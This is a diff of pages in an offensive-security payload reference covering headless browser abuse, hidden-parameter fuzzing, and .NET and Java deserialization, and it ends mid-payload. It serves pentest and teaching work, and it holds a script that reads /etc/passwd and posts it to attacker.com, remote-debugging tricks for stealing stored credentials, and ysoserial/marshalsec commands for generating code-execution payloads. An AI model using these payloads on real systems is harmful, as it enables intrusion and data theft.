 * Microsoft Edge
+
     ```ps1
     "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --window-size=1280,720 --screenshot="C:\tmp\screen.png" "https://google.com"
     ```
 
-
 ## Local File Read
 
+### Insecure Flags
+
+If the target is launched with the `--allow-file-access` option
+
+```ps1
+google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run --disable-web-security -–allow-file-access-from-files --allow-file-access --allow-cross-origin-auth-prompt --user-data-dir
+```
+
+Since the file access is allowed, an atacker can create and expose an HTML file which captures the content of the `/etc/passwd` file.
+
+```js
+<script>
+  async function getFlag(){
+    response = await fetch("file:///etc/passwd");
+    flag = await response.text();
+    fetch("https://attacker.com/", { method: "POST", body: flag})
+  };
+  getFlag();
+</script>
+```
+
+### PDF Rendering
+
+Consider a scenario where a headless browser captures a copy of a webpage and exports it to PDF, while the attacker has control over the URL being processed.
+
 Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site/file.html`
 
 * Javascript Redirect
+
     ```html
     <html>
         <body>
@@ -52,6 +78,7 @@ Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site
     ```
 
 * Iframe
+
     ```html
     <html>
         <body>
@@ -60,10 +87,11 @@ Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site
     </html>
     ```
 
+## Remote Debugging Port
 
-## Debugging Port
+The Remote Debugging Port in a headless browser (like Headless Chrome or Chromium) is a TCP port that exposes the browser’s DevTools Protocol so external tools (or scripts) can connect and control the browser remotely. It usually listen on port **9222** but it can be changed with `--remote-debugging-port=`.
 
-**Target**: `google-chrome-stable --headless=new --remote-debugging-port=XXXX ./index.html`   
+**Target**: `google-chrome-stable --headless=new --remote-debugging-port=XXXX ./index.html`
 
 **Tools**:
 
@@ -77,21 +105,33 @@ Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site
 
 * Connect and interact with the browser: `chrome://inspect/#devices`, `opera://inspect/#devices`
 * Kill the currently running browser and use the `--restore-last-session` to get access to the user's tabs
-* Dump cookies: 
+* Data stored in the settings (username, passwords, token): `chrome://settings`
-* Stored data: `chrome://settings`
 * Port Scan: In a loop open `http://localhost:<port>/json/new?http://callback.example.com?port=<port>`
 * Leak UUID: Iframe: `http://127.0.0.1:<port>/json/version`
+
+    ```json
+    {
+        "Browser": "Chrome/136.0.7103.113",
+        "Protocol-Version": "1.3",
+        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.0.0 Safari/537.36",
+        "V8-Version": "13.6.233.10",
+        "WebKit-Version": "537.36 (@76fa3c1782406c63308c70b54f228fd39c7aaa71)",
+        "webSocketDebuggerUrl": "ws://127.0.0.1:9222/devtools/browser/d815e18d-57e6-4274-a307-98649a9e6b87"
+    }
+    ```
+
 * Local File Read: [pich4ya/chrome_remote_debug_lfi.py](https://gist.github.com/pich4ya/5e7d3d172bb4c03360112fd270045e05)
 * Node inspector `--inspect` works like a `--remote-debugging-port`
+
     ```ps1
     node --inspect app.js # default port 9229
     node --inspect=4444 app.js # custom port 4444
     node --inspect=0.0.0.0:4444 app.js
     ```
 
-> [!NOTE]  
+Starting from Chrome 136, the switches `--remote-debugging-port` and `--remote-debugging-pipe` won't be respected if attempting to debug the default Chrome data directory. These switches must now be accompanied by the `--user-data-dir` switch to point to a non-standard directory.
-> The flag `--user-data-dir=/path/to/data_dir` is used to specify the user's data directory, where Chromium stores all of its application data such as cookies and history. If you start Chromium without specifying this flag, you’ll notice that none of your bookmarks, favorites, or history will be loaded into the browser.
 
+The flag `--user-data-dir=/path/to/data_dir` is used to specify the user's data directory, where Chromium stores all of its application data such as cookies and history. If you start Chromium without specifying this flag, you’ll notice that none of your bookmarks, favorites, or history will be loaded into the browser.
 
 ## Network
 
@@ -109,7 +149,6 @@ Port Scanning: Timing attack
 * Chrome blocks by default a list of "known ports"
 * Chrome blocks access to local network addresses except localhost through 0.0.0.0
 
-
 ### DNS Rebinding
 
 * [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework.
@@ -123,14 +162,31 @@ Port Scanning: Timing attack
 5. Chrome will attempt to connect to the IPv6 but as it will fail it will fallback to the IPv4
 6. From top window, inject script into iframe to exfiltrate content
 
+## CVE
+
+Exploiting a headless browser using a known vulnerability (CVE) involves several steps, from vulnerability research to payload execution. Below is a structured breakdown of the process:
+
+Identify the headless browser with the User-Agent, then choose an exploit targeting the browser's component: V8 engine, Blink renderer, Webkit, etc.
+
+* Chrome CVE: [2024-9122 - WASM type confusion due to imported tag signature subtyping](https://issues.chromium.org/issues/365802567), [CVE-2025-5419 - Out of bounds read and write in V8](https://nvd.nist.gov/vuln/detail/CVE-2025-5419)
+* Firefox : [CVE-2024-9680 - Use after free](https://nvd.nist.gov/vuln/detail/CVE-2024-9680)
+
+The `--no-sandbox` option disables the sandbox feature of the renderer process.
+
+```js
+const browser = await puppeteer.launch({
+    args: ['--no-sandbox']
+});
+```
 
 ## References
 
-- [Attacking Headless Browsers - truff - May 22, 2024](#bb-discord-replay-not-available)
+* [Browser based Port Scanning with JavaScript - Nikolai Tschacher - January 10, 2021](https://web.archive.org/web/20210119151816/https://incolumitas.com/2021/01/10/browser-based-port-scanning/)
-- [Browser based Port Scanning with JavaScript - Nikolai Tschacher - January 10, 2021](https://incolumitas.com/2021/01/10/browser-based-port-scanning/)
+* [Changes to remote debugging switches to improve security - Will Harris - March 17, 2025](https://web.archive.org/web/20250328233439/https://developer.chrome.com/blog/remote-debugging-port)
-- [Chrome DevTools Protocol - Documentation - July 3, 2017](https://chromedevtools.github.io/devtools-protocol/)
+* [Chrome DevTools Protocol - Documentation - July 3, 2017](https://web.archive.org/web/20170703201537/https://chromedevtools.github.io/devtools-protocol/)
-- [Cookies with Chromium’s Remote Debugger Port - Justin Bui - December 17, 2020](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)
+* [Cookies with Chromium’s Remote Debugger Port - Justin Bui - December 17, 2020](https://web.archive.org/web/20201217170910/https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)
-- [Debugging Cookie Dumping Failures with Chromium’s Remote Debugger - Justin Bui - July 16, 2023](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)
+* [Debugging Cookie Dumping Failures with Chromium’s Remote Debugger - Justin Bui - July 16, 2023](https://web.archive.org/web/20250911211108/https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)
-- [Node inspector/CEF debug abuse - HackTricks - July 18, 2024](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse)
+* [Node inspector/CEF debug abuse - HackTricks - July 18, 2024](https://web.archive.org/web/20241230021023/https://book.hacktricks.xyz/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse)
-- [Post-Exploitation: Abusing Chrome's debugging feature to observe and control browsing sessions remotely - wunderwuzzi - April 28, 2020](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/)
+* [Post-Exploitation: Abusing Chrome's debugging feature to observe and control browsing sessions remotely - wunderwuzzi - April 28, 2020](https://web.archive.org/web/20260215064320/https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/)
-- [Tricks for Reliable Split-Second DNS Rebinding in Chrome and Safari - Daniel Thatcher - December 6, 2023](https://www.intruder.io/research/split-second-dns-rebinding-in-chrome-and-safari)
+* [Too Lazy to get XSS? Then use n-days to get RCE in the Admin bot - Jopraveen - March 2, 2025](https://web.archive.org/web/20250303031943/https://jopraveen.github.io/web-hackthebot/)
+* [Tricks for Reliable Split-Second DNS Rebinding in Chrome and Safari - Daniel Thatcher - December 6, 2023](https://web.archive.org/web/20231206141057/https://www.intruder.io/research/split-second-dns-rebinding-in-chrome-and-safari)

Hidden Parameters/README.md

@@ -2,7 +2,6 @@
 
 > Web applications often have hidden or undocumented parameters that are not exposed in the user interface. Fuzzing can help discover these parameters, which might be vulnerable to various attacks.
 
-
 ## Summary
 
 * [Tools](#tools)
@@ -11,7 +10,6 @@
     * [Old Parameters](#old-parameters)
 * [References](#references)
 
-
 ## Tools
 
 * [PortSwigger/param-miner](https://github.com/PortSwigger/param-miner) - Burp extension to identify hidden, unlinked parameters.
@@ -20,25 +18,24 @@
 * [tomnomnom/waybackurls](https://github.com/tomnomnom/waybackurls) - Fetch all the URLs that the Wayback Machine knows about for a domain
 * [devanshbatham/ParamSpider](https://github.com/devanshbatham/ParamSpider) - Mining URLs from dark corners of Web Archives for bug hunting/fuzzing/further probing
 
-
 ## Methodology
 
 ### Bruteforce Parameters
 
-* Use wordlists of common parameters and send them, look for unexpected behavior from the backend. 
+* Use wordlists of common parameters and send them, look for unexpected behavior from the backend.
+
     ```ps1
     x8 -u "https://example.com/" -w <wordlist>
     x8 -u "https://example.com/" -X POST -w <wordlist>
     ```
 
-Wordlist examples: 
+Wordlist examples:
-
-- [Arjun/large.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/large.txt)
-- [Arjun/medium.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/medium.txt)
-- [Arjun/small.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/small.txt)
-- [samlists/sam-cc-parameters-lowercase-all.txt](https://github.com/the-xentropy/samlists/blob/main/sam-cc-parameters-lowercase-all.txt)
-- [samlists/sam-cc-parameters-mixedcase-all.txt](https://github.com/the-xentropy/samlists/blob/main/sam-cc-parameters-mixedcase-all.txt)
 
+* [Arjun/large.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/large.txt)
+* [Arjun/medium.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/medium.txt)
+* [Arjun/small.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/small.txt)
+* [samlists/sam-cc-parameters-lowercase-all.txt](https://github.com/the-xentropy/samlists/blob/main/sam-cc-parameters-lowercase-all.txt)
+* [samlists/sam-cc-parameters-mixedcase-all.txt](https://github.com/the-xentropy/samlists/blob/main/sam-cc-parameters-mixedcase-all.txt)
 
 ### Old Parameters
 
@@ -47,8 +44,7 @@ Explore all the URL from your targets to find old parameters.
 * Browse the [Wayback Machine](http://web.archive.org/)
 * Look through the JS files to discover unused parameters
 
-
 ## References
 
-- [Hacker tools: Arjun – The parameter discovery tool - Intigriti - May 17, 2021](https://blog.intigriti.com/2021/05/17/hacker-tools-arjun-the-parameter-discovery-tool/)
+* [Hacker tools: Arjun – The parameter discovery tool - Intigriti - May 17, 2021](https://web.archive.org/web/20230930093635/https://blog.intigriti.com/2021/05/17/hacker-tools-arjun-the-parameter-discovery-tool/)
-- [Parameter Discovery: A quick guide to start - YesWeHack - April 20, 2022](http://web.archive.org/web/20220420123306/https://blog.yeswehack.com/yeswerhackers/parameter-discovery-quick-guide-to-start)
+* [Parameter Discovery: A quick guide to start - YesWeHack - April 20, 2022](http://web.archive.org/web/20220420123306/https://blog.yeswehack.com/yeswerhackers/parameter-discovery-quick-guide-to-start)

Insecure Deserialization/DotNET.md

@@ -2,7 +2,6 @@
 
 > .NET serialization is the process of converting an object’s state into a format that can be easily stored or transmitted, such as XML, JSON, or binary. This serialized data can then be saved to a file, sent over a network, or stored in a database. Later, it can be deserialized to reconstruct the original object with its data intact. Serialization is widely used in .NET for tasks like caching, data transfer between applications, and session state management.
 
-
 ## Summary
 
 * [Detection](#detection)
@@ -17,7 +16,6 @@
 * [POP Gadgets](#pop-gadgets)
 * [References](#references)
 
-
 ## Detection
 
 | Data           | Description         |
@@ -28,23 +26,31 @@
 
 Example: `AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u[...]0KPC9PYmpzPgs=`
 
-
 ## Tools
 
-* [pwntester/ysoserial.net - Deserialization payload generator for a variety of .NET formatters](https://github.com/pwntester/ysoserial.net)
+* [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net) - Deserialization payload generator for a variety of .NET formatters
-```ps1
+
-$ cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
+    ```ps1
-$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
+    cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
-$ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
+    ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
-$ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
+    ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
-```
+    ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
+    ```
+
+* [irsdl/ysonet](https://github.com/irsdl/ysonet) - Deserialization payload generator for a variety of .NET formatters
+
+    ```ps1
+    cat my_long_cmd.txt | ysonet.exe -o raw -g WindowsIdentity -f Json.Net -s
+    ./ysonet.exe -p DotNetNuke -m read_file -f win.ini
+    ./ysonet.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
+    ./ysonet.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
+    ```
 
 ## Formatters
 
-![NETNativeFormatters.png](https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/Insecure%20Deserialization/Images/NETNativeFormatters.png?raw=true)    
+![NETNativeFormatters.png](https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/Insecure%20Deserialization/Images/NETNativeFormatters.png?raw=true)
 .NET Native Formatters from [pwntester/attacking-net-serialization](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=15)
 
-
 ### XmlSerializer
 
 * In C# source code, look for `XmlSerializer(typeof(<TYPE>));`.
@@ -70,7 +76,6 @@ $ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
 </root>
 ```
 
-
 ### DataContractSerializer
 
 > The DataContractSerializer deserializes in a loosely coupled way. It never reads common language runtime (CLR) type and assembly names from the incoming data. The security model for the XmlSerializer is similar to that of the DataContractSerializer, and differs mostly in details. For example, the XmlIncludeAttribute attribute is used for type inclusion instead of the KnownTypeAttribute attribute.
@@ -79,8 +84,7 @@ $ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
 * Payload output: **XML**
 * Data **Type** must be user-controlled to be exploitable
 
-
+### NetDataContractSerializer
-### NetDataContractSerializer 
 
 > It extends the `System.Runtime.Serialization.XmlObjectSerializer` class and is capable of serializing any type annotated with serializable attribute as `BinaryFormatter`.
 
@@ -91,7 +95,6 @@ $ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
 .\ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "calc.exe" -o base64 -t
 ```
 
-
 ### LosFormatter
 
 * Use `BinaryFormatter` internally.
@@ -100,7 +103,6 @@ $ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
 .\ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64 -t
 ```
 
-
 ### JSON.NET
 
 * In C# source code, look for `JsonConvert.DeserializeObject<Expected>(json, new JsonSerializerSettings`.
@@ -119,7 +121,6 @@ $ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
 }
 ```
 
-
 ### BinaryFormatter
 
 > The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can’t be made secure.
@@ -128,12 +129,10 @@ $ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
 * Exploitation requires `[Serializable]` or `ISerializable` interface.
 * Payload output: **Binary**
 
-
 ```ps1
 ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
 ```
 
-
 ## POP Gadgets
 
 These gadgets must have the following properties:
@@ -144,18 +143,21 @@ These gadgets must have the following properties:
 
 You must carefully select your **gadgets** for a targeted **formatter**.
 
-
 List of popular gadgets used in common payloads.
+
 * **ObjectDataProvider** from `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll`
     * Use `MethodParameters` to set arbitrary parameters
-    * Use `MethodName` to call an arbitrary function 
+    * Use `MethodName` to call an arbitrary function
 * **ExpandedWrapper**
     * Specify the `object types` of the objects that are encapsulated
+
     ```cs
     ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
     ```
+
 * **System.Configuration.Install.AssemblyInstaller**
-    * Execute payload with Assembly.Load   
+    * Execute payload with Assembly.Load
+
     ```cs
     // System.Configuration.Install.AssemblyInstaller
     public void set_Path(string value){
@@ -166,19 +168,18 @@ List of popular gadgets used in common payloads.
     }
     ```
 
-
 ## References
 
-- [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - Slides - James Forshaw - September 20, 2012](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf)
+* [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - Slides - James Forshaw - September 20, 2012](https://web.archive.org/web/20120920142257/https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf)
-- [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - White Paper - James Forshaw - September 20, 2012](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
+* [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - White Paper - James Forshaw - September 20, 2012](https://web.archive.org/web/20260216023308/https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
-- [Attacking .NET Deserialization - Alvaro Muñoz - April 28, 2018](https://youtu.be/eDfGpu3iE4Q)
+* [Attacking .NET Deserialization - Alvaro Muñoz - April 28, 2018](https://web.archive.org/web/20200215071108/https://youtu.be/eDfGpu3iE4Q)
-- [Attacking .NET Serialization - Alvaro - October 20, 2017](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=11)
+* [Attacking .NET Serialization - Alvaro - October 20, 2017](https://web.archive.org/web/20250210175031/https://speakerdeck.com/pwntester/attacking-net-serialization?slide=11)
-- [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) - HackTricks - July 18, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net)
+* [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) - HackTricks - July 18, 2024](https://web.archive.org/web/20241130213753/https://book.hacktricks.xyz/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net)
-- [Bypassing .NET Serialization Binders - Markus Wulftange - June 28, 2022](https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html)
+* [Bypassing .NET Serialization Binders - Markus Wulftange - June 28, 2022](https://web.archive.org/web/20260228021314/https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html)
-- [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili (@irsdl) - April 23, 2019](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
+* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili (@irsdl) - April 23, 2019](https://web.archive.org/web/20230402051324/https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
-- [Finding a New DataContractSerializer RCE Gadget Chain - dugisec - November 7, 2019](https://muffsec.com/blog/finding-a-new-datacontractserializer-rce-gadget-chain/)
+* [Finding a New DataContractSerializer RCE Gadget Chain - dugisec - November 7, 2019](https://web.archive.org/web/20210926153917/http://muffsec.com/blog/finding-a-new-datacontractserializer-rce-gadget-chain/)
-- [Friday the 13th: JSON Attacks - DEF CON 25 Conference - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://www.youtube.com/watch?v=ZBfBYoK_Wr0)
+* [Friday the 13th: JSON Attacks - DEF CON 25 Conference - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://web.archive.org/web/20180908194356/https://www.youtube.com/watch?v=ZBfBYoK_Wr0)
-- [Friday the 13th: JSON Attacks - Slides - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
+* [Friday the 13th: JSON Attacks - Slides - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://web.archive.org/web/20251117062750/https://blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
-- [Friday the 13th: JSON Attacks - White Paper - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)
+* [Friday the 13th: JSON Attacks - White Paper - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://web.archive.org/web/20170728193005/https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)
-- [Now You Serial, Now You Don't - Systematically Hunting for Deserialization Exploits - Alyssa Rahman - December 13, 2021](https://www.mandiant.com/resources/blog/hunting-deserialization-exploits)
+* [Now You Serial, Now You Don't - Systematically Hunting for Deserialization Exploits - Alyssa Rahman - December 13, 2021](https://web.archive.org/web/20221130214048/https://www.mandiant.com/resources/blog/hunting-deserialization-exploits)
-- [Sitecore Experience Platform Pre-Auth RCE - CVE-2021-42237 - Shubham Shah - November 2, 2021](https://blog.assetnote.io/2021/11/02/sitecore-rce/)
+* [Sitecore Experience Platform Pre-Auth RCE - CVE-2021-42237 - Shubham Shah - November 2, 2021](https://web.archive.org/web/20211103083935/https://blog.assetnote.io/2021/11/02/sitecore-rce/)

Insecure Deserialization/Java.md

@@ -2,28 +2,25 @@
 
 > Java serialization is the process of converting a Java object’s state into a byte stream, which can be stored or transmitted and later reconstructed (deserialized) back into the original object. Serialization in Java is primarily done using the `Serializable` interface, which marks a class as serializable, allowing it to be saved to files, sent over a network, or transferred between JVMs.
 
-
 ## Summary
 
 * [Detection](#detection)
 * [Tools](#tools)
     * [Ysoserial](#ysoserial)
-    * [Burp extensions using ysoserial](#burp-extensionsl)
+    * [Burp extensions using ysoserial](#burp-extensions)
     * [Alternative Tooling](#alternative-tooling)
 * [YAML Deserialization](#yaml-deserialization)
 * [ViewState](#viewstate)
 * [References](#references)
 
-
 ## Detection
 
-- `"AC ED 00 05"` in Hex
+* `"AC ED 00 05"` in Hex
     * `AC ED`: STREAM_MAGIC. Specifies that this is a serialization protocol.
     * `00 05`: STREAM_VERSION. The serialization version.
-- `"rO0"` in Base64
+* `"rO0"` in Base64
-- `Content-Type` = "application/x-java-serialized-object"
+* `Content-Type` = "application/x-java-serialized-object"
-- `"H4sIAAAAAAAAAJ"` in gzip(base64)
+* `"H4sIAAAAAAAAAJ"` in gzip(base64)
-
 
 ## Tools
 
@@ -50,7 +47,7 @@ java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | b
 | CommonsBeanutils1   | @frohoff                               | commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 |
 | CommonsCollections1 | @frohoff                               | commons-collections:3.1 |
 | CommonsCollections2 | @frohoff                               | commons-collections4:4.0 |
-| CommonsCollections3 | @frohoff                               | commons-collections:3.1 | 
+| CommonsCollections3 | @frohoff                               | commons-collections:3.1 |
 | CommonsCollections4 | @frohoff                               | commons-collections4:4.0 |
 | CommonsCollections5 | @matthias_kaiser, @jasinner            | commons-collections:3.1  |
 | CommonsCollections6 | @matthias_kaiser                       | commons-collections:3.1  |
@@ -77,32 +74,33 @@ java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | b
 | Vaadin1             | @kai_ullrich                           | vaadin-server:7.7.14, vaadin-shared:7.7.14 |
 | Wicket1             | @jacob-baines                          | wicket-util:6.23.0, slf4j-api:1.6.4 |
 
-
 ### Burp extensions
 
-- [NetSPI/JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller) -  Burp extension to perform Java Deserialization Attacks 
+* [NetSPI/JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller) -  Burp extension to perform Java Deserialization Attacks
-- [federicodotta/Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner) -  All-in-one plugin for Burp Suite for the detection and the exploitation of Java deserialization vulnerabilities 
+* [federicodotta/Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner) -  All-in-one plugin for Burp Suite for the detection and the exploitation of Java deserialization vulnerabilities
-- [summitt/burp-ysoserial](https://github.com/summitt/burp-ysoserial) -  YSOSERIAL Integration with Burp Suite 
+* [summitt/burp-ysoserial](https://github.com/summitt/burp-ysoserial) -  YSOSERIAL Integration with Burp Suite
-- [DirectDefense/SuperSerial](https://github.com/DirectDefense/SuperSerial) - Burp Java Deserialization Vulnerability Identification
+* [DirectDefense/SuperSerial](https://github.com/DirectDefense/SuperSerial) - Burp Java Deserialization Vulnerability Identification
-- [DirectDefense/SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active) - Java Deserialization Vulnerability Active Identification Burp Extender
+* [DirectDefense/SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active) - Java Deserialization Vulnerability Active Identification Burp Extender
-
 
 ### Alternative Tooling
 
-- [pwntester/JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget) - Pure JRE 8 RCE Deserialization gadget
+* [pwntester/JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget) - Pure JRE 8 RCE Deserialization gadget
-- [joaomatosf/JexBoss](https://github.com/joaomatosf/jexboss) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
+* [joaomatosf/JexBoss](https://github.com/joaomatosf/jexboss) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
-- [pimps/ysoserial-modified](https://github.com/pimps/ysoserial-modified) - A fork of the original ysoserial application 
+* [pimps/ysoserial-modified](https://github.com/pimps/ysoserial-modified) - A fork of the original ysoserial application
-- [NickstaDB/SerialBrute](https://github.com/NickstaDB/SerialBrute) - Java serialization brute force attack tool
+* [NickstaDB/SerialBrute](https://github.com/NickstaDB/SerialBrute) - Java serialization brute force attack tool
-- [NickstaDB/SerializationDumper](https://github.com/NickstaDB/SerializationDumper) - A tool to dump Java serialization streams in a more human readable form
+* [NickstaDB/SerializationDumper](https://github.com/NickstaDB/SerializationDumper) - A tool to dump Java serialization streams in a more human readable form
-- [bishopfox/gadgetprobe](https://labs.bishopfox.com/gadgetprobe) - Exploiting Deserialization to Brute-Force the Remote Classpath
+* [bishopfox/gadgetprobe](https://labs.bishopfox.com/gadgetprobe) - Exploiting Deserialization to Brute-Force the Remote Classpath
-- [k3idii/Deserek](https://github.com/k3idii/Deserek) - Python code to Serialize and Unserialize java binary serialization format. 
+* [k3idii/Deserek](https://github.com/k3idii/Deserek) - Python code to Serialize and Unserialize java binary serialization format.
+
   ```java
   java -jar ysoserial.jar URLDNS http://xx.yy > yss_base.bin
   python deserek.py yss_base.bin --format python > yss_url.py
   python yss_url.py yss_new.bin
   java -cp JavaSerializationTestSuite DeSerial yss_new.bin
   ```
-- [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Java Unmarshaller Security - Turning your data into code execution
+
+* [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Java Unmarshaller Security - Turning your data into code execution
+
   ```java
   $ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
   $ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
@@ -132,10 +130,102 @@ Payload generators for the following marshallers are included:
 | XStream                         | **JDK only RCEs** |
 | YAMLBeans                       | third party RCE |
 
+## JSON Deserialization
 
+Multiple libraries can be used to handle JSON in Java.
+
+* [json-io](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#json-io-json)
+* [Jackson](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#jackson-json)
+* [Fastjson](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#fastjson-json)
+* [Genson](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)
+* [Flexjson](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#flexjson-json)
+* [Jodd](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#jodd-json)
+
+**Jackson**:
+
+Jackson is a popular Java library used for working with JSON (JavaScript Object Notation) data.
+Jackson-databind supports Polymorphic Type Handling (PTH), formerly known as "Polymorphic Deserialization", which is disabled by default.
+
+To determine if the backend is using Jackson, the most common technique is to send an invalid JSON and inspect the error message. Look for references to either of those:
+
+```java
+Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
+```
+
+* com.fasterxml.jackson.databind
+* org.codehaus.jackson.map
+
+**Exploitation**:
+
+* **CVE-2017-7525**
+
+  ```json
+  {
+    "param": [
+      "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
+      {
+        "transletBytecodes": [
